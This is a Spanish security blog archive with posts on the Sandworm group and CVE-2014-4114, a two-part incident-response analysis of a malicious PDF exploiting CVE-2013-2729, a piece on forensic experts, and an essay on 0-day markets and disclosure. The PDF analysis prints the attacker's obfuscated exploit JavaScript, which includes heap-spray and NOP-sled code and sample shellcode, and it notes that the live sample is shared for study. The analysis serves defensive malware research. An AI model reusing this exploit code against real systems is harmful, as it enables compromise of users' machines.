Sandworm – Llueve sobre mojado

(N.D.E. Primero vamos con Sandworm. En un rato, les hablamos de POODLE)

Se acumulan las malas noticias para los expertos en seguridad (y al final, para todos los administradores de sistemas). Ayer, la compañía de seguridad Isight Partners publicaba un informe en que destapaba a grupo de ciberespionaje ruso denominado “Sandworm Team” [PDF] (también llamado Quedach por F-Secure), que llevaba desde 2009 atacando a objetivos de interés en Ucrania y Europa del Este.

La noticia fundamental (más allá de la atribución rusa, que hasta disponer de más detalles es más bien difusa y hace sospechar a los paranoicos) es el uso de este grupo de un nuevo 0-day que afecta a ficheros de Office y para el que, hasta hoy, no había parche.

La vulnerabilidad (CVE-2014-4114), que afecta a Windows Vista en adelante (incluidas las versiones de servidor), explotaba la capacidad de Office de incluir ficheros OLE (Object Linking and Embedding) de localizaciones externas. Todo empezaba con un correo electrónico (un ataque de spear-phishing en el que se adjuntaba un fichero .ppsx ppsx (un fichero de Powerpoint que al abrirlo se pone automáticamente en modo presentación, lo único diferente a un .pptx standard).

[Read more…]

PDF deconstruído al aroma de shellcode ( II )

Resumiendo el artículo anterior: tenemos un PDF malicioso que explota la vulnerabilidad CVE-2013-2729, con un código JavaScript ofuscado del que queremos extraer el dominio contra el que se conecta. ¡Manos a la obra!

Si limpiamos las 3 imágenes y el código propio del objeto PDF, el resultado es un fichero de 180 líneas de JavaScript con 4 scripts, 4 funciones y 49 variables. Lo primero que tenemos que hacer es “arreglar” el código ya que los símbolos de “<>&” están codificados como “&lt;&gt;&amp;”
respectivamente.

En segundo lugar, lo que podemos hacer para aclarar el código es dejar un solo bloque de código en JavaScript eliminando todas las etiquetas de <script></script>, con cuidado de reemplazar los nombres de los script en las variables a las que llaman.

Y para favorecer la legibilidad, podemos mover todas las funciones al principio del código (eso sí, vigilando que la reordenación no afecte a la coherencia del código). De esta forma nos quedamos con 170 líneas de “código spaguetti”:

function sRi(x) { 
var s = []; 
var z = hCS(j3); 
       z = hCS(pg); 
       var ar = hCS("[" + z + "]"); 

       for (var i = 0; i < ar.length; i ++) { 
       var j = ar[i]; 
      		if ((j >= 33) && (j <= 126) { 
     s[i] = String.fromCharCode(33 + ((j + 14) % 94)); 
               } 
               else { 
                    s[i] = String.fromCharCode(j); 
               } 
       } 
       return s.join(''); 
} 
         
function mvA8H(x){ 
        return G6G(x); 
} 

function qmE(uindex, param1, param2) { 
switch (uindex) { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
} 
} 

function DwTo(a, b, c, d){ 
var x = form2.Text10.name; 
       var y = this[a]; 
       x = x + '3'; 
       return y; 
} 

var K7r1 = ""; 
var pl27 = ""; 
var PE = [0x30,0x74,0x67,0x72,0x6E,0x63,0x65,0x67, 1, 10, 40]; 
var X0n = ""; 
var aMr = "3t3in33f3o33ha"+ "r3o3ee3a3u3es3a3e"; 
var upd = "Srg.rmCCdvlncp"; 
var upd0 = ""; 
var ii = 0; 

for (var i=0; i < aMr.length; i++) { 
if(aMr[i] == "3") 
       upd0 += upd[ii++]; 
       else 
       upd0 += aMr[i]; 
} 

var xyz1 = upd0.slice(19,23); 
var hCS = DwTo.call(xyz1,xyz1); 
var m7cZT = hCS(upd0.slice(23)); 
var p1 = "(\/[^\\/"; 

for(var q = 0; q < PE.length-3; q++) 
X0n += String.fromCharCode(PE[q]-2); 

var p2 = "(\/[\\/"; 
var j3 = "x" + X0n + p1 + "\\d]\/g,'')"; 
var pg = "z" + X0n + p2 + "]\/g,',')"; 

hCS(sRi(xfa.resolveNode("Image10").rawValue)); 

var cqTt=0x12e; 
var e5 = 200; 
var yuc6m = 0; 
var xSzh = new Array(e5); 
var CE = new Array(e5); 
var e2QBU = new Array(e5); 
var tA1lG = new Array(e5/2); 
var i; var j; 

if (yuc6m == 0){ 
var vKQ = "\u5858\u5858\u5678\u1234"; 
       var Vn1e = cqTt/2-1-(vKQ.length+2+2); 

for (i=0; i < e5; i+=1) 
            xSzh[i] = vKQ + qmE(1,i) + 
            K7r1.substring(0, Vn1e) + 
            qmE(1,i) + ""; 

       for (j=0; j < 1000; j++) 
       		for (i=e5-1; i > e5/4; i-=10) 
                     xSzh[i]=null; 
       yuc6m = 1; 
} 
 
var i; var j; 
var hZ = -1; 
var Fs = 0; 
var sD = app.viewerVersion.toFixed(3); 
var He = sD.split("."); 
var lCCR = parseInt(He[0]); 
var JTI = (He.length > 1)  ? parseInt(He[1]) : 0; 

if(He.length > 1) { 
JTI = parseInt(He[1]); 
       if(He[1].length == 1)  JTI *= 100; 
} 
else 
JTI = 0; 

var tc1 = "aNNNcNroNNrNdN3NNN2"; 
var Nvpdy = m7cZT(pl27); 
var zYo = Nvpdy[0] + qmE(1,(JTI << 16) | lCCR) + Nvpdy.substring(3); 
var lHE0 = lCCR >= 11 ? 16 : 14; 

for (i=0; i < e5; i+=1) 
if ((xSzh[i]!=null)  && (xSzh[i][0] != "\u5858")){ 
       hZ = i; 
              NS = Fs = (qmE(2,xSzh[i], lHE0) >> 16); 
              Fs = (NS - mvA8H(tc1.replace(/N/g,""))) << 16; 
              break; 
       } 

       if (hZ == -1){ 
               event.target.closeDoc(true); 
       } 

var UqO = ""; 
var h7o = 0x10101000; 
 
if (lCCR < 11) { 
for (i=0; i < 7; i+=1) 
               UqO += qmE(1,0x30303030+0x11111111); 
} 

UqO += qmE(1,h7o); 

while (UqO.length < cqTt/2) 
UqO += qmE(1,0x47474747+0x11111111); 

for (j=0; j < 10000; j++) 
xSzh[hZ-1]=xSzh[hZ]=null; 

for (i=0; i < e5; i+=1){ 
ID = "" + i; 
       CE[i] = UqO.substring(0,cqTt/2-ID.length) + ID+ ""; 
} 

var or = h7o; 
var DA = ""; 

hCS(sRi(xfa.resolveNode("Image20").rawValue)); 

Como ya comentamos, este tipo de malware suele actuar como dropper, siendo su única función explotar la vulnerabilidad y ejecutar un shellcode (que será el que se conecte a Internet y se descargue el malware real). De esta forma se aseguran de que el malware “pata negra” no esté tan al alcance de los analistas (ya contaremos en otro post la de perrerías que hacen los “malos”).

Si seguimos las fases de la respuesta ante incidentes, ya hemos realizado la detección, por lo que ahora estamos en la fase de contención. Para ello necesitamos obtener los dominios o IP a las que se va a intentar conectar el malware, que están contenidas dentro del shellcode. Resumiendo: nuestro objetivo primario es el shellcode.

Un shellcode standard suele tener un aspecto similar a este (ojo con la codificación en Unicode):

\u06eb\u0000\u0000\u05eb\uf9e8\uffff\u5aff\uc283\u8718\u8bd6\u33fe\u66c9\ue0b9\ufc01\u35ad

repetido unas cuantas veces.

Si nos fijamos en el código vemos que el creador del malware ha sido listo y no nos lo ha dejado a simple vista, por lo que tendremos que trabajar un poco para conseguirlo. Sí que puede parecer interesante esta línea de código:

var vKQ = "\u5858\u5858\u5678\u1234"; 

pero es demasiado corta para contener el shellcode. De todas formas ojeamos el código y comprobamos que aunque se genera una string en Unicode, no es algo que nos sea útil.

Si seguimos mirando cosas interesantes, encontramos estas dos líneas:

UqO += qmE(1,0x30303030+0x11111111); 
UqO += qmE(1,0x47474747+0x11111111); 

Que nos generan unos cuantos 0x41 y 0x48. ¿Y para qué sirven?.

Cuando estamos generando shellcode para crear un exploit, una parte fundamental es el NOP sled (lo que usa el exploit para colocarse en la posición de memoria deseada para “enchufar” el buffer overflow). El NOP (No Operation, no hagas nada) se representa en hexadecimal como 0x90, y tener unos cuantos seguidos en cualquier documento son garantías casi segura de que puede tener “premio”.

Sin embargo, hay otras formas de generar equivalentes al NOP a base de añadir y restar valores a los registros, como podemos ver en esta tabla:

OP Code        Hex       ASCII
inc eax        0x40        @
inc ebx        0x43        C
inc ecx        0x41        A
inc edx        0x42        B
dec eax        0x48        H
dec ebx        0x4B        K
dec ecx        0x49        I
dec edx        0x4A        J

Una buena teoría es que ahí puede estar el NOP sled. Sin embargo, nosotros queremos el shellcode, por lo que tenemos que seguir buscando.

Si examinamos las funciones, podemos ver algo curioso:

function qmE(uindex, param1, param2) { 
                switch (uindex) 
                { 
                  case 1: 
                    return pack(param1); 
                    break; 
                  case 2: 
                    return unpackAt(param1, param2); 
                    break; 
                  case 3: 
                    return packs(param1); 
                    break; 
                  case 4: 
                    return packh(param1); 
                    break; 
                  case 5: 
                    return packhs(param1); 
                    break; 
                } 
} 

La función qmE es usada en abundancia en el código, y llama a las funciones pack y unpacAt … que no están en ninguna otra parte del código. ¿Puede ser que el “malo” haya sido tan torpe de dejarse un trozo del código y que no funcione? Cosas más raras hemos visto, pero en este momento la paranoia manda y hay que seguir tirando del hilo.

En algún lado tienen que estar esas funciones de pack… y lo veremos en el siguiente post (y último, no vamos a ser como George R.R Martin en Juego de Tronos).

PDF deconstruído al aroma de shellcode ( I )

Como dice Toni Villalón, los malos no tienen vacaciones… así que los que trabajamos en respuesta ante incidentes tampoco. Hace unos días una de nuestras usuarias creó un ticket con un correo que le parecía malicioso (una muestra más de que la concienciación en seguridad cuesta de realizar, pero que a largo plazo termina rindiendo beneficios).

La usuaria nos mandó un fichero con extensión .msg (el resultado de “Guardar Como…” en Outlook). Para abrirlo en Ubuntu lo más sencillo es emplear el script en Perl msgconvert.pl, que nos lo convierte a MIME (un formato mucho más estándar y manejable).

El nuevo fichero nos da información muy interesante con tan solo un examen superficial:

y un adjunto denominado “Invoice_4605916.pdf”.

Suena raro, ¿verdad?. Pues vamos a extraer ese PDF del fichero en formato MIME para ver qué pinta tiene. Si repasamos un poco el estándar MIME recordaremos que el formato de codificación es base64, así que es tan sencillo como copiar el texto entero desde el principio hasta el final del adjunto (no olvidéis los símbolos “=” si los hubiera, que son el padding de base64) , pegarlo a un fichero de texto, y desde una línea de comandos ejecutar:

El resultado es un fichero PDF de 52Kb, que abierto en Ubuntu nos muestra una pantalla en blanco (Recordad: nunca abráis estos ficheros en una máquina Windows a la que le tengáis cariño, usad siempre una máquina virtual o un equipo que pueda ser formateado sin problemas). Es un buen momento para empezar a sacar la artillería pesada, por lo que llamamos a nuestro analizador de PDF favorito, peepdf, (!Thx , @EternalTodo!), en modo iterativo, ignorando los errores, e indicándole que parsee de forma laxa para detectar objetos malformados.

Damas y caballeros, tenemos premio. El CVE-2013-2729 es una vulnerabilidad de Adobe Reader en versiones anteriores a la 11.03 que aprovecha un fallo en la gestión de imágenes codificadas en el formato BMP/RLE. Es una vulnerabilidad bastante conocida por lo fácil que es encontrar PoCs por Internet y crear exploits al uso.

Estos exploits suelen ser pequeños, actuando simplemente como droppers del malware real descargándoselo de una URL, por lo que lo primordial desde el punto de vista de la respuesta ante incidentes es encontrar el dominio al que se conectan para poder bloquearlo lo antes posible.

El paso siguiente suele ser analizar el código JavaScript, que suele tener el shellcode que termina ejecutando el exploit. Sin embargo, cuando ejecutamos en peepdf el comando “js_analyze object 1“, obtenemos una parte de código JavaScript y el siguiente error:

Parece que pasa algo con el objeto. Lo mejor que podemos hacer es volcar el objeto completo y analizarlo fuera de peepdf:

El fichero resultado ocupa … ¡91.1Mb!. Definitivamente, algo huele muy mal en este PDF. Si lo abrimos con vi obtenemos la siguiente información:

  • Varios trozos de código JavaScript, ofuscado a conciencia: Nombres de variables sin sentido y enrevesados, funciones anidadas, generación de variables en tiempo de código.
  • Tiene 3 imágenes (que suponemos que serán las empleadas para explotar la vulnerabilidad), una de ellas de un tamaño descomunal (la causante del espacio ocupado por el fichero).
  • El shellcode no aparece por ningún lado (en muchos casos suele ser una variable más del JavaScript, fácilmente localizable).

Está claro que toca remangarnos la camisa, ponernos las botas de pocero y analizar en profundidad el JavaScript… pero eso será en el siguiente post ;-)

UPDATE: Debido a que, como decía un usuario, se aprende mucho más cacharreando que leyendo, os adjuntamos el pdf malicioso objeto del análisis. Para analizarlo con la seguridad necesaria debéis seguir estos pasos:

1) Disponer de una máquina virtual Linux (insistimos, el “bicho” está vivo y si lo ejecutáis en una máquina física Windows la infectará y tendréis que reinstalar el sistema operativo. Avisados quedáis).
2) Descomprimir el .zip que está protegido por la contraseña “infected”.
3) Renombrar el fichero pdf_malicioso.SAW a pdf_malicioso.pdf.

Peritos informáticos forenses: Legislación, verdades y mentiras

Los delitos informáticos están de moda (y lo que les queda). Fraudes, robo de datos personales y bancarios, amenazas, pornografía infantil, blanqueo de capitales… la lista es larga, y solo limitada por la imaginación, la naturaleza humana y la legislación vigente.

Entre el aumento de los delitos, la mejora de la legislación (que hasta hace relativamente pocos años no equiparaba delitos informáticos con sus equivalentes físicos) y el excelente trabajo de las FCSE, cada día llegan a los juzgados más casos relacionados con las TIC.

Y dado que los jueces no son omniscientes, en ocasiones es necesario que recurran a terceras personas. Según la RAE, un perito se define como “persona que, poseyendo determinados conocimientos científicos, artísticos, técnicos o prácticos, informa, bajo juramento, al juzgador sobre puntos litigiosos en cuanto se relacionan con su especial saber o experiencia”.

[Read more…]

He descubierto una vulnerabilidad: ¿Y ahora qué?

Imaginemos que Pepe es una persona con conocimientos de seguridad informática que, por simple curiosidad, se dedica a investigar en busca de posibles fallos de seguridad.

Una noche, a las 3.00AM, descubre un fallo de seguridad grave en un SO para móviles que permite al atacante hacerse con el control total del teléfono. Pepe sabe perfectamente que tiene en sus manos una vulnerabilidad gravísima, para la que hasta donde él sabe no hay solución posible, lo que se denomina un 0-day [1].

Nervioso, Pepe piensa en lo que podría hacer, y multitud de posibilidades saltan a su mente.

Podría simplemente publicarlo en su blog de seguridad bajo lo que se denomina full disclosure (revelación completa) [2], y directamente dar acceso a todo el mundo a la información para que se pudiera fabricar una solución. Esto le aseguraría ser el primero en publicarla, y ganar reconocimiento como investigador (en un mundillo en el que la reputación cuenta, y mucho).

Pero al dar la información al mismo tiempo tanto a fabricantes como a los posibles intrusos, Pepe provocaría una carrera en la que seguramente los usuarios serían los damnificados (el proceso de parchear una vulnerabilidad conlleva un proceso de control de cambios, que es por fuerza mucho más lento que el desarrollo de un exploit que solo necesita aprovecharse de la misma).

Otra opción sería ponerse en contacto con el fabricante del SO e informarle del fallo de seguridad bajo lo que se llama responsibledisclosure (revelación responsable) [3], dándole tiempo para que pueda preparar el parche que la resuelva antes de su publicación. De esta forma Pepe seguiría llevándose el mérito, pero no pondría en peligro a los usuarios al disponer de la solución al mismo tiempo de su publicación.

Puede suceder que el fabricante ignore a Pepe (ya sea por falta de canales de comunicación eficaces, o por política de la empresa). En este caso Pepe podría acudir a un CERT como el del INTECO [4], que se encargaría de contactar con la empresa (y así le daría una cierta cobertura a Pepe en el caso de tener luego problemas)… o pasar a la opción anterior y revelar directamente la información en Internet.

En el caso en el que Pepe estuviera más interesado en una ganancia económica más que de prestigio (que la fama no paga la conexión a Internet), tendría también varias opciones.

Lo primero que podría hacer Pepe es comprobar si el fabricante ofrece algún tipo de programa de bug bounty (caza de fallos) [5], en los que el fabricante ofrece recompensas por encontrar fallos de seguridad que pueden ir desde camisetas exclusivas hasta dinero contante y sonante. Esta opción es interesante porque en casi todos los programas hay un “Hall of fame”, que permitiría a Pepe a su vez ganar reconocimiento por haber encontrado el fallo.

El problema de esta opción es que casi siempre los fabricantes pagan poco. Muy poco. Si Pepe lo que quiere realmente es el dinero (y su ética personal es lo suficientemente laxa), tiene otras alternativas mucho más ventajosas.

Pepe podría llevar su fallo de seguridad a sitios como ZDI (Zero Day Initiative) [6], que ofrecen recompensas por fallos de seguridad bajo el modelo de responsibledisclosure. Estas empresas luego ofrecen servicios de alerta temprana (Pepe sabe que pocas empresas dan algo gratis), pero al final la vulnerabilidad se soluciona, y Pepe tiene más dinero en el bolsillo (y sobre todo, estas iniciativas son una buena opción en caso de que el fabricante no tenga un bug bounty en activo).

Pero donde está el dinero de verdad es en la venta privada: Pepe podría vender su 0-day a empresas especializadas en la compra de vulnerabilidades, pero que en lugar de publicar la información la guardan y crean exploits que pueden vender de forma privada. Algunas de estas empresas como Vupen [7] tienen una política estricta de ventas (en principio solo a países “buenos”), aunque no se sabe dónde pueden acabar ni para qué pueden ser usados. Por tener tienen hasta listas de precios [8].

El tema es que el precio es bueno. Muy bueno. Se rumorea que se ha llegado a pagar hasta 250K$ por un 0-day muy similar al suyo, que puede ser fácilmente diez veces más de lo que el fabricante o iniciativas como ZDI podrían pagar. Eso sí, Pepe no puede decirle nunca a nadie lo que ha hecho, por la cuenta que le trae (es lo que tiene trabajar con empresas que trabajan con gobiernos que tienen agencias de tres letras).

Podría ser que Pepe no estuviera interesado en ser “fichado” por estas empresas (nunca se sabe las vueltas que da la vida). En ese caso podría acudir a algún bróker de vulnerabilidades [9], que por una módica comisión se encargaría de hacer de intermediario con las empresas pertinentes y le ayudaría a mantener su preciado anonimato.

Pero estos bróker no crecen debajo de las piedras (y no son especialmente accesibles). Y Pepe quiere el dinero. La última opción que le queda es venderlo en el mercado negro [10], en el que hay multitud de lugares en los que venderlo. Y en algunos de ellos le pueden pagar en preciosas e irrastreables BitCoins. Y si Pepe tiene muy pocos escrúpulos, no creo que tenga muchos problemas en venderlo en varios lugares a la vez…

Estas son las opciones que Pepe baraja en su mente a las 3.00AM mientras toma su décimo café del día…

Si pasamos de la ficción a la realidad, el problema existente está bastante claro: Los incentivos económicos son mucho más atractivos que el mero reconocimiento, e incluso los programas que mezclan ambos aspectos se quedan cortos en la parte económica.

Esta oferta viene dada por la existencia de una demanda por parte de algunos gobiernos (principalmente de aquellas partes destinadas a la obtención de inteligencia), que en mi opinión han valorado erróneamente la naturaleza de doble filo de una vulnerabilidad. Si bien el estar en posesión de una vulnerabilidad nos permite poder usarla para atacar otros sistemas, nuestros propios sistemas también siguen siendo vulnerables a dichos ataques.

Y si se realiza una evaluación de la cantidad de sistemas y del valor de la información contenida en los mismos en mi opinión se tiene más que perder guardando que publicando…

Ante esta elección subscribo totalmente la opinión de Bruce Scheneier [11]: Todo el proceso de la investigación sobre vulnerabilidades debería estar enfocado a la mejora de la seguridad de los sistemas, el objetivo inicial para el que fue creado.

Para ello es obligatorio reencauzar el (bastante torcido hoy) proceso, ofreciendo una serie de incentivos tanto monetarios como de reconocimiento que conviertan el hecho de hacer pública una vulnerabilidad sea siempre más atractivo que venderla.

¿Qué nos haría falta?. Una idea sería crear algo similar a BugCrowd, un servicio de creación de bug bounties que gestiona búsquedas de vulnerabilidades, y dotándolo de procedimientos de responsibledisclosure.

Esta organización debería de ser internacional, completamente imparcial y financiada tanto por gobiernos como por las compañías de tecnología. Su principal objetivo: mejorar la seguridad de todos los elementos que componen Internet para todo el mundo, independientemente de qué país o sistema sea empleado. A vista de pájaro, un posible candidato para liderar esta iniciativa podría ser el IAB (Internet Architecture Board) [13], que tiene una distribución de miembros suficientemente variada como para compensar los diversos intereses existentes.

El otro lado de la ecuación reside en los propios investigadores: si nadie vendiera las vulnerabilidades que encontrara, y si el resto de la comunidad repudiara a aquellos que sí que lo hacen, lograríamos de una forma sensible reducir la oferta y/o redirigirla a la iniciativa anterior.

Cierto, el mercado negro aún seguiría actuando (y lo sigue haciendo en la situación actual), y aún tendríamos investigadores que no tendrían problemas éticos o morales en seguir vendiendo sus vulnerabilidades, pero se lograría en cierta medida retomar el control de todo el proceso.

Lo que sí que es cierto es que la situación actual tiene unas perspectivas poco halagüeñas, y es necesario hacer algo al respecto. El cómo (y en este caso muy importante, el cuánto) es algo que tenemos que decidir entre todos.

[1] Zero Day
[2] Full disclosure
[3] Responsibledisclosure
[4] INTECO-CERT
[5] BugCrowd – List of bug bounty programs
[6] Zero day Initiative
[7] Vupen
[8] Lista de precios de vulnerabilidades
[9] The Grugq
[10] Selling exploits for bitcoins in underground market
[11] Scheneier :The Vulnerabilities Market and the Future of Security
[12] BugCrowd
[13] Internet Architecture Board